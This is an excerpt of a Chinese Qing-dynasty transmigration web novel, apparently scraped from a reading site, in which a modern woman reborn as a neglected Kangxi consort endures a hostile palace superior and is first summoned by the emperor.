《长寿定妃只想躺平(清穿)》 1. 穿越 《长寿定妃只想躺平(清穿)》全本免费阅读 康熙十五年冬。 冬日里的紫禁城白茫茫一片,雪花簇簇的往下落,路上的宫女太监走路都小心翼翼的,生怕一不小心摔倒,既湿了衣裳,又失了礼仪,被贵人责罚。 一位蓄着胡须的太医被小太监带着,往后宫的方向走去。 紫禁城西北角咸福宫东偏殿,舒宁静静的坐着,她已经穿来七天了,现在终于理清了现实。 上辈子的她选的专业不好,卷生卷死终于找到一份不错的工作,可惜租住房屋失火,她因为凌晨还在做PPT闻到了烟味,先是拨打火警电话,然后挨家挨户敲门救人,可惜最后耽搁了时间,自己没能逃出去。 临死时,舒玉听到了一个声音说她不该在这个时候死,她现在身上又有了功德,如果她想,她可以接着活。 舒玉答应了,然后就被送到了这个平行世界的清朝,还带了一个金手指,她可以点石成金。 现在属于康熙十五年冬天,她,万琉哈氏·舒宁,康熙十四年十二月内务府包衣小选被选中,十二月十三日入宫,同时入宫的同事还有未来的良妃觉禅氏,未来的孝恭仁皇后乌雅氏。 可能是长得好,万琉哈氏刚进宫就成了格格,并未做宫女,甚至还带了一名陪嫁入宫。① 只可惜近一年来,皇上忙着三藩之乱,并未多进后宫,就算是要进,也是去今年春天刚刚进宫的钮祜禄格格和佟佳格格那里,去年被选中的这一波新人中,除了和佟佳格格住在景仁宫的乌雅格格,其他人甚至都没能得见天颜,康熙爷就像是把她们这一波人忘了一样,还没得宠,这一批人就已经失宠了。 既然已经失宠,底下的人也就逐渐怠慢了起来,炭火逐渐就短缺了起来,格格份例上的炭,时常给不够,前边李福晋也没管,内务府那边的人越发怠慢了起来,紫禁城的冬天冷,今年的雪又下了个不停,没炭火自然要着凉,这一不小心,万琉哈氏就感染了风寒。 本身其实也没什么大问题,万琉哈氏底子好,好好养着,不出半个月自己也就好了。可清朝生病了有个习惯是饿几顿就好,李福晋就让她先饿着,万琉哈氏就被这么生生饿了两天。 谁知这么一饿,病反倒是重了起来,晚上竟直接发起了烧,前边正殿的李福晋一看这不行啊,风寒什么的,谁知道会不会传染,又嫌晦气,随便找了个太医看过开了点药之后就发话说: “既然风寒,那就在自己屋子里呆着别出去了,等养好了再出门。” 这么一句话,万琉哈氏就相当于被禁了足,不让出门了,甚至就连身边的侍女银枝和银叶,也被李福晋说:“好好伺候你主子,少上前边来。” 原本万琉哈氏份例里的炭就不够,每次都得银枝和银叶不仅得亲自去取,过去还得三催四催的,才能拿到,如今李福晋这么一说,底下的人每日就准她们用膳的时候出去拿膳,其他时候都得在屋子里窝着。 原本的炭就不够,再不让自己去催,那边的人就更怠慢了,没炭火,每天吃的又都是清粥小菜,熬了两天,万琉哈氏烧的浑身滚烫。 原本的陪嫁银枝看着自家姑娘烧的意识不清,心一横,闯到前边李福晋正殿门口跪着求她好歹让自己再去请太医院的人来一回。 李福晋虽然不在乎万琉哈氏这一个小小的格格,但看银枝这样哭求,实在吵闹,就派身边的宫女蓝珠过去看了一眼。 蓝珠还小,不过十四,一看见万琉哈氏高烧成这样就慌了神了,李福晋知道了万琉哈氏情况实在危险之后也生怕是万琉哈氏真的有什么事情,死在她这宫里,可就不好了,到时候皇上说不准还会觉得她没能力管好着一个宫。 想着皇上前些天透露的意思,是想明年趁着封后大封六宫,这要是在这个档口,她宫里出了这样的事儿,实在是不吉利,李福晋就派自己的人去请了太医,又派自己的人跟着催了炭火,有李福晋的话,内务府那边也不好做的过分,炭火立刻就足了, 万琉哈氏这才慢慢的好了起来,只是人,却不是从前的那个了。 舒宁记得自己刚过来的时候就听见身边人在说:“格格您可终于醒了,这都三天了,您要是再不醒,奴婢是真的不知道该怎么办了。”睁开眼睛一看,是个容长脸,白面皮,长得很清秀的宫女正在哭,凭着记忆,舒宁认得这是她从家里带来的侍女,叫银枝。 后来她才知道,银枝为了给她请太医,费了多大的劲儿,李福晋是主位,银枝就算是她带来的人,可李福晋照样有权罚她,要是当时她觉得银枝是在闹事,只怕她今后就见不到银枝了,自己也可能就这么烧没了,想到这里,舒宁就是一阵后怕。 还好,后来来的那个太医是个老成的,也敢用重药,不过几天,她的病就好的差不多了,今儿太医再来请了脉,就能从膳房领到正常的饭菜了,吃了一个星期的清粥小菜,舒宁觉得自己嘴里都快淡的没味道了。 这回来的太医还是上次李福晋派人请来的那位,姓刘,刘太医按照规矩搭了脉之后道:“格格原先身体强健,加之年轻,现下已无大碍,只是身子有些虚弱,需要好好将养着,再不可受风了。” “多谢太医,银枝,送太医出去。” 看着银枝递给太医的荷包,舒宁还有些心疼,这可是五两银子,她两个月月例,就这么送出去了,做格格,当真是连病也生不起。 可她也不能不给,这是宫中的定例,虽然没有明文规定,但大家都是这么给的,若是不给,难保太医院敷衍,以后不给你好好治病。 宫中生活不易,起先万琉哈氏进宫的时候倒是也带了一千两银子的,可这才不过一年,就已经花了四百多两了。 平日的吃食、四季的衣裳、冬日的炭火、身上的首饰,不得宠的,都得拿银子去换,宫中若有喜事,像是其他嫔妃晋升,皇子公主满月、周岁等等,还得花银子去置办贺礼,也是一笔开销。 舒宁病刚好一点的时候,就算了算自己还剩下多少银子,结果发现,作为格格,她收到的赏赐的少,给出去花销的多,尤其是刚刚分进咸福宫的时候,为了让主位对自己有个好印象,今后过的好点,万琉哈氏还特意拿了快二百两银子打了一对金镯,送给李福晋。 两只镯子光金子重就五两,又五十两是给内务府工匠的手艺费,再加上给工匠加班的谢钱,又是五十两,再加上这事儿走了内务府的路子,还有五十两是给内务府的,可是花了不少钱。 可李福晋看到东西之后,就说了一句话:“果然是小选出来的,眼光也不怎么样,这金子忒俗气,还粗粗笨笨的,戴着只怕手疼,不过难为你一片心意,蓝玉,收着吧。”之后也没见对万琉哈氏多加照顾。 万琉哈氏送礼失败,待到年末,算了算账,才刚一年工夫,家里带来的银子就花去小一半,虽然还剩下几百两,却并不敢乱花,她可是要在宫里边呆一辈子的。 这也是为什么原来的万琉哈氏冬天炭火短缺,也不去内务府拿钱换炭火的原因,她要是再这么花下去,最多明年年底,就得向娘家伸手要银子了,炭火缺是缺,好歹还是有,也就是冷一点,要拿钱去内务府,又是一笔花销。 万琉哈氏自小身子强壮,也不觉得冷一冷是什么问题,左不过多穿点就是了,可惜运气不好,感染了风寒不说,还要饿着,在家里的时候,阿玛和额娘再怎么觉得饿两顿是风俗,也不会完全不给饭吃,可在这咸福宫里,李福晋的话仅次于圣旨,万琉哈氏两天没吃饭,自然虚弱的发起了烧。 偏生第一个太医看李福晋的态度不过糊弄,她身边的人又被禁了足,不让出去,所以万琉哈氏这才高烧没了。 原本,万琉哈氏是想着,等年节的赏赐下来,炭火就不缺了,她也能松快点, 2. 站岗 《长寿定妃只想躺平(清穿)》全本免费阅读 等蓝玉走了之后,舒宁叹了口气,明儿得早上卯时起,也就是早上五点,熬夜她倒是熬到过这个时辰,但早起,还真没试过。 按说现在宫中没有皇后娘娘,嫔妃们也不必去向皇后娘娘请安,但今年春天钮祜禄格格进宫,一进宫就是妃位,就住在乾清宫侧殿。① 所以后宫福晋级以上,每隔几天都得去陪坐,李福晋自然也是要去的。不过舒宁这些小格格,是没资格去的。 李福晋说的请安是另一种,她身为咸福宫主位,要宫里人去给她请安或者陪坐说话,也是正常的,不过既然李福晋说的是请安,那这时辰自然是在她去给钮祜禄娘娘请安之前,这就得早起了。 一般情况下,这要不要底下的人陪着,要看主位的想法,主位想,那底下的人就要去,主位不想,不去也是可以的。 但既然李福晋派人传话了,那舒宁自然是要去的,她是想躺平,但不是想等死,这两个区别还是很大的。 以主位权利之大,李福晋只是不想看见她,也不在乎她,稍微表现出不喜欢她,就已经要了万琉哈氏的命。 万琉哈氏风寒是因为不受宠没有炭火,但李福晋的不在乎,眼瞧着内务府苛待她宫里的人也不说话,还让万琉哈氏以及她的两个侍女都不许出门,随便找了个太医糊弄,甚至之前也一直让她在凌晨请安,也是她病越来越重的原因。 早上,舒宁被银枝叫起,天还是昏暗的,只能看见屋子里点的灯,外边的雪倒是停了,但风一点没小,听的人心里就凉飕飕的。 银枝给舒宁梳了个小两把头,又插上簪子,戴上耳环,收拾整齐了才往前边正殿去。 只是舒宁到了之后,却见李福晋身边的蓝玉说:“我们福晋还没好呢,请格格暂且在廊下等等。” 大概等了两刻钟多一会儿,银叶有些愤愤不平,似乎想说些什么,舒宁看出来了,拍了拍她的手,轻轻摇了摇头。 还好,舒宁从天昏昏沉沉的样子等到天光大亮,约莫等了小一个时辰,里边终于来人说:“请格格进去。” 舒宁进去之后,就看见李福晋端坐在上边,正在用茶,舒宁依照记忆,半蹲下来:“给福晋请安。” 李福晋看了舒宁一眼,喝完茶,叫她起来:“起来吧,听说你病好了。” 舒宁站在堂中:“回福晋,太医来过,说已经痊愈,只是还有些虚弱,需要养着。” “那你就好好养着吧,除夕宫宴之前,养好自己的身子,别给咸福宫丢脸。” 舒宁听着这话,也不知道该回什么,就只答了一句:“是。” 李福晋可能也没想说什么,就说了两句话,就让舒宁走了,等回了自己的偏殿,舒宁喝了杯热茶才觉得自己整个人都好受了些。 银叶先忍不住了:“这李福晋怎么这样,咱们按着时辰过去,她就生生的把咱们晾在那廊下,风刮的厉害,以前倒是无所谓,可格格这才病好,万一格格要再受了风,可怎么了得?” 舒宁看了看银叶,到底是岁数小,憋不住话,她看了看她被风吹皱了的脸,笑了笑,安慰道: “你瞧你,我没事的,你家格格身子强健,这些天早就养好了,就这么一会儿,没事的,倒是你,脸都红了,我妆台有一盒玫瑰面脂,拿去擦擦吧,要是起了冻疮就不好了。” 银叶还想说什么,银枝就进来打断了她:“好了好了,人家是福晋,忍一忍,没坏处的。” 是啊,人家是福晋,官大一级压死人,更别提格格和福晋之间还有个小福晋呢,李福晋不一定是故意要让她站在那里罚她什么,她只是不在意,不在意舒宁的生死,不在意舒宁病刚好,被冷风吹几十分钟会不会病势反复。 想到这里,舒宁就觉得心像是坠了一块儿石头,压的她喘不过气来,这就是封建社会,奴才的命不值钱,她虽然是嫔妃,却是辛者库出身,因颜色好,才从宫女变成了嫔妃。② 可李福晋祖上是有名的“抚西额驸”——李永芳,是第一代降清的明代高级军官,家中九子,个个都手握大权,李福晋的父亲,乃是第三子刚阿泰,现任宣府总兵,正二品的大员,李家是汉军旗著名的勋旧世家,自然看不上她一个小小的包衣奴才。③ 要是换做上辈子,舒宁是看不上这样得来的功绩的,可如今,自己成了奴才,舒宁是真想念上辈子,哪怕被无良老板压榨,起码她出卖的只是劳动力,不是她这个人。 可能是银枝看出来舒宁心情不好,于是开口:“格格您今儿是受了委屈了,现在要用膳吗?刚从膳房拿回来的,在炉子边放着,还热着呢。” 舒宁被这么一提醒才意识到自己都忘了吃饭了,上辈子习惯不好,这辈子她可是要活到一百岁的,早饭还是得按时按点吃的,总不能为了李福晋就不吃饭了,这可不行。 “那就用膳吧。” 这个时候的早膳和午膳都是正餐,所以早膳也丰盛,今儿的肉圆做的很不错,还是汤菜,现在她吃着还热热的,不像其他的菜,吃着吃着就凉了。 听银枝说,宫里冬日里有锅子,舒宁有点馋,不知道什么时候能吃到,要是能涮肉吃就更好了。 用完了膳,舒宁的心平静了一些,脑子也转过弯来了,旁人当她是奴才,她自己不觉得就是了,难不成还为了别人的态度轻贱自己?那才是真的不值当。 不管什么时候,好好的活着才是最重要的,要是为了李福晋,把自己给气着了,到时候连九十七都活不到,岂不是吃大亏了? 吃完饭,舒宁从箱子里找了一匹浅粉色的丝缎,打算给自己做一件斗篷,皮子她是不想了,格格的份例里没有皮子,但棉斗篷还是能给自己做一身的。 眼瞅着今儿的样子,以后给李福晋请安的日子不会少,她总不能再受了风,以后去给李福晋请安,可得穿暖和点。 要说舒宁来也小一个月了,实际上因为养病,并没怎么出去过自己宫里,她把斗篷做好了,又把多余的棉花缝进被子里,实在没东西可弄了,就想去御花园逛逛,然后就被银枝给劝住了。 “格格,这大冷天的御花园又没花,您去御花园也没意思啊,病才刚好,还是多养养吧。” 实际上,舒宁是想着要透透气,可又想起来太医的确叮嘱了她不许受风,就没去,今年冬天又一直下雪,实际上也就几天天气好点,也不赶趟,所以她到现在都没怎么出去过。 3. 除夕 《长寿定妃只想躺平(清穿)》全本免费阅读 既然上次李福晋特地说的让舒宁不要给咸福宫丢脸,今儿舒宁打扮的时候就格外细致了一点,天不亮就起来梳妆了。 光是头发,银枝就梳了快两刻钟,她还把舒宁妆匣里最好的那支镶着小拇指甲盖大小的红宝石金簪戴在了头上,连耳环都是一耳三钳,戴的是三副耳环中最好的那副翡翠的。 倒是银枝觉得翡翠不如珍珠好,更想舒宁戴那一副珍珠的。不过最后,舒宁觉得自己身上的浅绿色的宫装和翡翠比较配,还是戴了翡翠的。① 甚至舒宁的手上,还有一对蝙蝠纹的金镯子,也是实打实的,是她刚做格格的时候上面赏下来的。 只是舒宁到前边正殿门口的时候,李福晋一看她的斗篷,就皱起了眉头:“你这是什么斗篷?” 舒宁没觉得这斗篷有什么不好,这料子还是和那副镯子一起赏下来的呢,她一直没舍得用,但料子放久了颜色就黯淡了,且舒宁终究不是原来的万琉哈氏,比较舍得,这才拿了出来裁衣服。 唯一的缺点,大概就是她怕冷着自己个儿,往里边塞的棉花多了些,剩下那些全塞进去了,倒不像个斗篷,倒是像个小被子,显得有些厚重,但舒宁清瘦,倒也不显臃肿。 只是和身边连斗篷也没穿的尹佳氏相比,舒宁这身,的确是厚了一些。 “回福晋,是我自己做的棉斗篷。” 李福晋挥了挥手:“算了算了,你也就这点东西了,走吧。” 和舒宁相比,李福晋穿的就正式多了,她是福晋,是有自己的朝服的,十分庄重,上面缀着的珠子一看就沉甸甸的。 虽然没有皇后,但上面开口了,叫跟着钮祜禄娘娘去给太皇太后以及太后磕头,于是众嫔妃得先去钮祜禄娘娘现在住的乾清宫。 舒宁跟在李福晋身后,往乾清宫方向走,大概是李福晋自持身份,她到的比较晚,除了妃位的佟佳娘娘,也就是蒙古的扎鲁特格格没到了。 还没到时间,大家只能等在外边,这个时候舒宁就觉得自己之前穿上斗篷是极为正确的决定,一路过来,站在这里等着,也不是很冷,舒宁感觉自己的手甚至还是热的。 舒宁站定之后往两边一看,一位是戴佳格格、一位是觉禅格格。 戴佳格格性子开朗,看见舒宁就问了句:“你是?” 舒宁笑了一下:“我是万琉哈氏,前儿病了一阵子,一直没出来。”② “难怪看你觉得眼生呢。” 另一边的觉禅格格亲切的问了“你怎么才来啊,都快到时辰了。” 万琉哈氏和觉禅氏是一起走内务府选秀进来的,家里都是辛者库,又都是内管领,自然熟悉些。 “跟着李福晋一起来的。” 觉禅格格懂了:“难怪了,我住的永寿宫没有主位,今儿怕迟到,都在这儿站了半个时辰了。”虽然觉禅格格没说,但舒宁分明从她的神情里看出来了她站都站累了。 舒宁:“没主位有没主位的好处,我还羡慕你呢。”没主位,自己住着还不受拘束呢。她宁愿站一个小时,也不想跟着李福晋一起住着,住咸福宫可天天都要站着呢。 觉禅格格四周看了一圈:“玛禄也还没来呢,她应该也是跟着佟佳娘娘一起过来。”② 舒宁回想了一下,凭借记忆,才知道觉禅格格口中的玛禄,就是乌雅氏,她们三个人是同日入宫的。 “是啊,不过估摸着也快来了。” 舒宁这话刚说完,那边乌雅氏就跟着佟佳格格一起过来了,在经过她们俩的时候,冲着舒宁和觉禅格格笑了一下,算是打了招呼。 因着乌雅氏如今已经是小福晋了,所以排在诸位格格之上,小福晋最后,约莫在中间稍微靠下的位置。 这是舒宁第一次看见后宫齐齐整整的一起坐着,倒是是颇为壮观,和其他人默默的待着不一样,舒宁还在认人。 虽然她是有着万琉哈氏的记忆的,但那终究不是她的记忆,就像是上学的时候,老师教了一遍的公式,和你自己用了一遍的公式记忆的深刻程度是不一样的,为了在这后宫好好的活着,舒宁觉得还是自己认一遍人比较好。 如今的后宫,和舒宁在电视剧里看到的清朝后宫位份不太一样,从上往下依次是皇后、妃、福晋、小福晋、格格。 现如今没有皇后,最前边的站位是给妃位的钮祜禄娘娘和佟佳娘娘的,这两位属于绝对的第一梯队,一个是未来继后,一个是当今圣上的表妹,两位娘娘家世显赫,进宫就已经是妃位,就算是舒宁,也是知道这两位的大名的。 往下的福晋,就是大多都是康熙十年的时候娶进来的六位外八旗格格,进宫都是福晋级的待遇,只是有两位格格,已经不在宫中,剩下的也就是李福晋、完颜福晋、佟佳福晋、储秀宫格格。 最后这位储秀宫格格,是蒙古的扎鲁特博尔济吉特氏,现居储秀宫,所以被称为储秀宫格格,不过虽然这位被称为格格,但也属于福晋级的待遇。 再然后的小福晋呢,就是一些家世没那么好,但曾经生育过的嫔妃,有生了康熙第五子胤褆的乌拉那拉氏,有生育过皇次女的董氏。 生了三子一女并且现在正怀着,已经满七个月,今儿请假了的马佳氏。 生了皇长女、皇四女的张氏、生了皇五女的兆佳氏、去年刚刚生了皇九子万黼的纳喇氏,再加上新得宠的乌雅氏也就是了,这些都是小福晋级。 最后的格格,基本上就是刚进宫不久,没生育过,家室也不高的嫔妃了,有戴佳氏、万琉哈氏、卫氏等等,都站在最后,也有近十人。 看着这乌泱泱的一堆人,舒玉就觉得,这个后宫不好呆啊,人多了就有是非,大学宿舍里,四个人就能拉出五个群来,更何况是后宫呢。 有家世有地位的,刚入宫位份就不会低,可没家世的,刚入宫就能是格格,哪怕是马佳氏,如今生了三子一女,可留住的就一个皇八子长生还有皇三女这一子一女,至今还只是小福晋而已。 所以在康熙的后宫,决定位份待遇最重要的就是家室 4. 计划 《长寿定妃只想躺平(清穿)》全本免费阅读 皇上没到,众嫔妃自然是要在保和殿外边候着的,但也没一会儿的工夫,舒宁就听见皇上到了。 舒宁第一次看见康熙,颇有一种不真实的荒谬感,从前课本中的人物真的出现在眼前,实在是一种很奇怪的感觉。 说实话,这个康熙和舒宁想象中的康熙不太一样,以舒宁的距离,完全看不见痘印什么的,相反,他如今正当盛年,今年不过二十一二,身形稍高,比一般人高大许多,看起来十分白净,眉毛略弯,鼻子细长挺直,眼睛也比旁人大一点,十分清朗俊毅。① 舒宁想,这要是以后侍寝,她也不算亏了。 一阵乐声之后,有太监领着众嫔妃进殿入座,舒宁被小太监领到了最末给格格的几个座位之中,站着和众嫔妃一起给皇上行礼。 开始是进汤膳,舒宁这里有粳米膳一品、羊肉卧蛋粉汤一品,用的碗和她宫里的一样,都是五彩红龙的。② 只是这个汤现在还不能喝,得等一会儿转宴的时候喝,舒宁也就等着,没一会儿,就该上奶茶了。 舒宁看着内廷总管到皇上面前跪着进奶茶,皇上喝了以后,总管再进他们的奶茶,与此同时,戏班开始表演迎春的戏曲,咿咿呀呀的,舒宁也听不明白,可能这还是需要知道故事,才能听得懂吧。 接着就该皇上转宴了,他吃了哪个,太监就给底下的人上哪道。 宫宴上的菜比平时多一些,菜足足有七道,果子八道,只是舒宁没怎么吃好,因为她看到全部的酒膳之后,就该敬酒了。 舒宁这方面储备实在是少,还好如今包衣出身的嫔妃多,大家也都没什么文采,说的话也都是祝大清国泰民安、海晏河清之类的话。 唯有钮祜禄娘娘和佟佳娘娘说的文辞俱佳,皇上满饮了手中的酒,再往下,哪怕是李福晋祝酒的时候,皇上也没喝,只是拿起酒杯示意就放下了。再往后,小福晋和格格就更是连酒杯都不拿,只是笑笑。 戏曲表演演完后,舒宁跟着大家一起出座谢宴,并行二肃一跪一拜礼,算是谢恩。 只是这还没完,还有果茶,舒宁尝了下,味道不错,就是糖搁的有点多,喝完之后,再次行礼谢宴。 舒宁回去的路上就一直在想,这饭吃的,当真是累的慌,平日里在后宫她一般也就是行蹲礼,这种宴会却要不停的跪着,实际上人不是在吃饭,倒像是在搞一个礼仪活动,吃饭只是次要的。 更别提舒宁一直绷着弦儿,生怕自己做错了,这饭吃的就更是食不知味了。 回到宫里的时候,又下雪了,舒宁看着这雪叹了口气,不管她乐不乐意,康熙十五年还是结束了,明天又是新的一年,她也得收拾心情,迎接新的生活。 一月底,觉禅格格过来和舒宁一起聊天。 “你听说了吗?石佳氏,戴佳氏都已经侍寝了,皇上终于想起来咱们这批人了,真不容易。” “是吗?我还不知道呢。” 舒宁就这么两个人,前边李福晋还嫌弃舒宁丢人,不喜欢她和银枝银叶出去,于是她们一般就是呆在咸福宫里做做针线,自然也就不知道宫里边的消息。 “哎呀,你对这些也该上心些,这可是大事,玛禄为什么先人一步,不就是因为她是着一批新人当中最先侍寝的嘛,如今也已经是小福晋了。 好些人熬十几年也不过是小福晋呢,就像张小福晋,是最早伺候皇上的那几个人,还生了皇长女,只可惜没留住,如今把四公主当眼珠子一样疼着,我天天看着,当真是觉得当娘不容易。” 觉禅氏和张氏都住在永寿宫,一个是前边侧殿,一个是后边侧殿,算是邻居。 不过说完之后,觉禅氏又感叹:“日日在眼前看着那也是幸福的事情,听说延禧宫的乌拉那拉小福晋生的胤褆阿哥如今养在内务府大臣噶礼家呢,都好几年了,乌拉那拉小福晋都没能看孩子一眼,你说得多想啊。” “当额娘的,自然是想的,不过胤褆阿哥快六岁了吧,六岁就该上书房念书了,总不好一直呆在臣子家,平白耽误了学业倒不好。”舒宁算了算,胤褆康熙十一年生,如今刚新年,不过这里都算虚岁,也可以说是六岁了。③ “还是太子好命,皇上亲自养着,样样都是精细的。” “那可是先皇后嫡子,不是你我能置喙的,妹妹慎言啊。”舒宁是知道康熙对太子的喜爱的,宁愿自己省着,都要给太子用最好的,觉禅氏这话虽然说只是羡慕,但谁知会不会被人误认为是嫉妒,那可就是大不敬了。 觉禅氏也知道自己说错了,那可是太子,这话要是传到他人耳朵里,指不定被曲解为什么意思呢:“多谢姐姐提醒,再不说了。” 随后话题又转向孩子:“也不知道我什么时候才能侍寝,什么时候才能有个孩子。” “这都还没侍寝呢,你就想要孩子了?”舒宁打趣她。 觉禅氏低头羞涩一笑,像是枝头上的桃花被风吹动,随风而落,实在是美景,舒宁都有些羡慕皇上了,宫里尽都是美人,对眼睛无比友好。 “姐姐这话,到叫我不明白了,谁进宫不是为了生个一男半女呢?我也不肖想什么,只是若是有朝一日,能让皇上看在孩子的面子上,把家里人从包衣迁出去,这辈子也就够了。” 觉禅氏说的情真意切,舒宁感觉自己也有些激动,心里似乎也有一腔热血喷涌而出,这也是原来的万琉哈氏的愿望。 “姐姐和我是一样的人,自然明白其中的苦楚,一时是包衣,世世代代都是包衣,哪怕是咱们这样家里任着内管领的,却也还是包衣,是所有旗人的奴才。 见到本旗什么官职都没有的人,阿玛还要下马问安,恭恭敬敬的行礼,称自己为奴才。 更别提咱们还是辛者库出身,在所有有旗籍的人当中,身份最为低下,虽然不是罪人,可仍旧一辈子都是做的贱役苦差像是守陵、除雪、除草、糊饰扫尘之类的事情。 我有个堂姑姑,不过除草几年,腰就疼的受不了了,回家后更是只能躺着,这辈子也就这样了。 我家里还有妹妹,因着是包衣,以后也只能走小选,选不上还好,要是选上了,半辈子都得在宫里蹉跎。” 见觉禅氏是真的伤心,舒宁也有些难过,可惜就她知道的,良妃所生八阿哥触怒康熙,被雍正厌恶,下场凄惨,只怕就算是因恩抬出包衣,也会 5. 侍寝 《长寿定妃只想躺平(清穿)》全本免费阅读 入了二月,天气也逐渐暖和了起来,舒宁在李福晋门外站岗也好受许多。 今儿李福晋倒是多留了她和尹佳氏一会儿:“这皇上都进后宫快一个月了,眼瞅着去年和前年选上的这一波人都被翻了牌子,倒是咱们咸福宫落得下乘,你们两个人竟没一个争气的,真是叫本宫失望啊。” 舒宁不明白,她还能怎么争气?她还能控制皇上翻谁的牌子?她连皇上的面都没见着呢。 “万琉哈格格倒是罢了,都进宫一年了,也没能见到皇上的面,只怕是皇上真忘了她,想不起来了,也就在这后宫之中慢慢的熬着,一年一年的,也不知道要熬到什么时候。 但是尹佳格格,你可得争气呀,你可是去年刚进来的新人,皇上肯定记得你,眼瞅着你比万琉哈格格还小三岁,花一样的年纪,应该更可人疼才是,若是也如万琉哈格格一样,被皇上忘在后宫之中一年多,那可当真是耽误了。 这两年进来的人之中,果然还是乌雅小福晋有福气,就住景仁宫,得佟佳娘娘提携,这才在一年内就封了小福晋,保不定哪日,生下皇子,就能成为福晋呢。” 舒宁同情的看了尹佳格格一眼,李福晋说尹佳格格可比说她话多多了,但却没想到尹佳格格瞥了一眼舒宁,不屑的扭头,然后冲着李福晋蹲下行礼:“求福晋帮我。” 李福晋这才笑了:“是了,这才对嘛,我们同处一宫,我比你们年长,资历又高,还是主位,自然是该照顾着底下的人的。” 舒宁看着李福晋的样子,忽然明白了为什么李福晋为什么一直对万琉哈氏横眉冷对,原来根源在这里。 当初乌雅格格得到佟佳娘娘提携的时候,李福晋也曾召她过来,说过几句话,和这几句很是类似,但万琉哈氏没应,李福晋就叫她回去了。 因为两个人都在绕弯子似的说话,舒宁当初并没能深究其中之意,如今想起来才发现,原来是这个意思。 也正是因为此,李福晋对万琉哈氏十分冷淡,甚至有些苛待。 “蓝玉,来,去把我妆匣里那只珊瑚手串拿过来,那样鲜亮的颜色,还是得配年轻格格才合适。”李福晋和气的笑着说。 “多谢福晋。”尹佳氏拿到手钏立马戴在手上,并且向李福晋谢恩。 从李福晋那里出去的时候,尹佳格格看到舒宁,还很得意的扬起了下巴,似乎是觉得舒宁有些不识好歹,自己今儿得到了李福晋提携,以后肯定落不到舒宁的地步, 但舒宁看到尹佳格格的样子,却只觉得悲哀,康熙那么多嫔妃,她从未听说过尹佳氏的名字,而如今她觉得非常厉害的李福晋,到最后不也只封了嫔,甚至连封妃都没有,尹佳氏跟着她能有什么出路? 当天晚上,舒宁就看见敬事房的太监王松过来了:“格格大喜,皇上今儿翻了您的牌子,赶紧收拾收拾,预备着见驾吧。” 尽管舒宁想象过侍寝这回事儿,但真的到这一刻了,还是有些紧张,只是时间不等人,也没空给舒宁想这些,身边的银枝给王公公塞了银子,王松笑眯眯的接了,这可是光明正大赚外快,叫沾喜气,所以敬事房的人最喜欢的事情就是给后宫里的主子们送翻牌子的消息。 舒宁坐着轿子往乾清宫而去,却不是直接送到皇上所在的昭仁殿,而是先到了浴房,洗了个澡之后,却也没有像电视剧演的那样直接被被子裹着抬进去,而是由嬷嬷伺候穿戴,给舒宁换了一身粉蓝色衣服,送了舒宁进殿。① 舒宁看着自己这一身,倒比原来自己穿的还要精致一些,粉蓝色其实就是浅蓝色,算是饱和度比较低的蓝色,再加上舒宁皮肤白,倒显得她整个人嫩生生的。 舒宁进殿的时候,皇上正坐着看折子,舒宁也不敢动,只依例蹲下请安。 皇上没看她,只是道:“起来吧,过来磨墨。” 舒宁走到皇上身边,拿起墨条,四四方方的,和舒宁认知中的墨条一模一样,墨条正反写着三个大字,但不是简体,也不是繁体,舒宁认不出来,倒是两侧都镶嵌米珠大小的珍珠,一侧还有龙纹,应该是双龙戏珠,细细去看,右侧用楷书写了几个字:“康熙丙辰孟冬月曹素功顶烟”。② 舒宁小学每年暑假都被妈妈送到少年宫上课,暑假基本上都在少年宫度过了,舒宁觉得她妈妈主要就是不想带娃,所以才每个暑假都把她送出去上课。 书法算是舒宁一直上的课了,自然知道磨墨的要点,要轻而慢,速度正好,要保持墨的平正,要垂直地在砚台上打圈儿,不能斜磨,也不能直推,宁愿磨的少一点,也不能多了,不过多了也不大要紧,就和和面一样,干了加水,稀了加面,最后总能磨好。 康熙伸手沾墨,批完了一沓子折子之后,才看向舒宁:“磨的不错,你识字?” 舒宁看向康熙,近距离看他,脸上的确有一点痘印,不过不多,也不深,甚至比舒宁青春期长痘没处理好留下来的痘印还浅一点,一般不注意看不出来。 原来舒宁是很紧张的,这毕竟是皇上,封建社会下最高的统治者,皇权的代表,更不用说清朝的皇上,还是天下所有人的主子,其他人都是他的奴才,随便开口,就能要了她的命。 但现在,舒宁觉得自己松了口气,自己面前的这个人是皇上,但同样也是个人,一个看起来和其他人没什么特殊的人。一个生了病会难受,长了痘痘,会留下痘印的人。 “回皇上,奴才认字,小时候学过几年,只是认的不多。”③ 万琉哈氏的确是识字的,清朝太监都是穷苦出身,一般不识字,但宫女可都是出身八旗的,尤其是清初的宫女,家里做官的话,一般都是识字的。只不过又不需要科举,十几岁又要入宫,也就是仅限于认字而已。 “你是去年小选进来的?” “回皇上,奴才是前年十二月进来的。” 康熙看舒宁并没有像他最近召幸的嫔妃一样战战兢兢,笑了下:“那该有一年多了。” 舒宁见皇上笑了,虽然不明白为什么,但也笑着回他:“是有一年多了。” 看着舒宁轻轻一笑,康熙低声道:“绣面芙蓉一笑开,斜飞宝鸭衬香腮。”④ 舒宁没听清:“什么?” “没什么,朕觉得你穿蓝色好看,以后可以多穿穿,至于现在,安置吧。” 事毕,舒宁觉得体验感不错,康熙这技术, 6. 恩宠 《长寿定妃只想躺平(清穿)》全本免费阅读 这边舒宁刚刚侍寝,另一边尹佳格格身边的宫女绣琴就把水泼在了东偏殿门口,银枝气的破口大骂: “这小蹄子绝对是故意的,我就瞅着前儿格格回来那天,内务府给格格送赏赐,尹佳格格就和她在门口处瞅着,可羡慕了,没想到对面这么快就撑不住了,心眼这么小,哪儿不能泼水,偏往咱们殿门口泼,这么冷的天,万一冻成冰,格格不小心摔了,她们就得意了! 我呸!皇上英明神武,怎么会喜欢这样的贱人!就这样的品格,怕是一辈子也得不了宠才对!” 舒宁皱了皱眉,这样的作为,的确是有些下作,但这毕竟只是尹佳氏身边的宫女做的,不是尹佳格格自己动手,她倒是不好说了。 只得安慰银枝:“这水就是福,往咱们殿门口泼水,就是把她们的福气往咱们这里送,别生气,还是赶紧处理一下吧,别真冻成了冰,到时候就不好处理了。” 给李福晋请安之前,尹佳氏看着舒宁,还特地讽刺了两句: “万琉哈姐姐运气真好,昨儿李福晋刚说完姐姐不能得见天颜,晚上姐姐就侍寝了,当真是有福气,也不知道这福气能留多久。” 舒宁:“那我可得去中正殿烧香拜佛,希望这福气留的久一点。”① 尹佳格格向舒宁撇下了一个“没志气”的眼神,然后道:“也没见姐姐出去烧香拜佛,可见这心不诚。”就跟着蓝玉进殿里了。 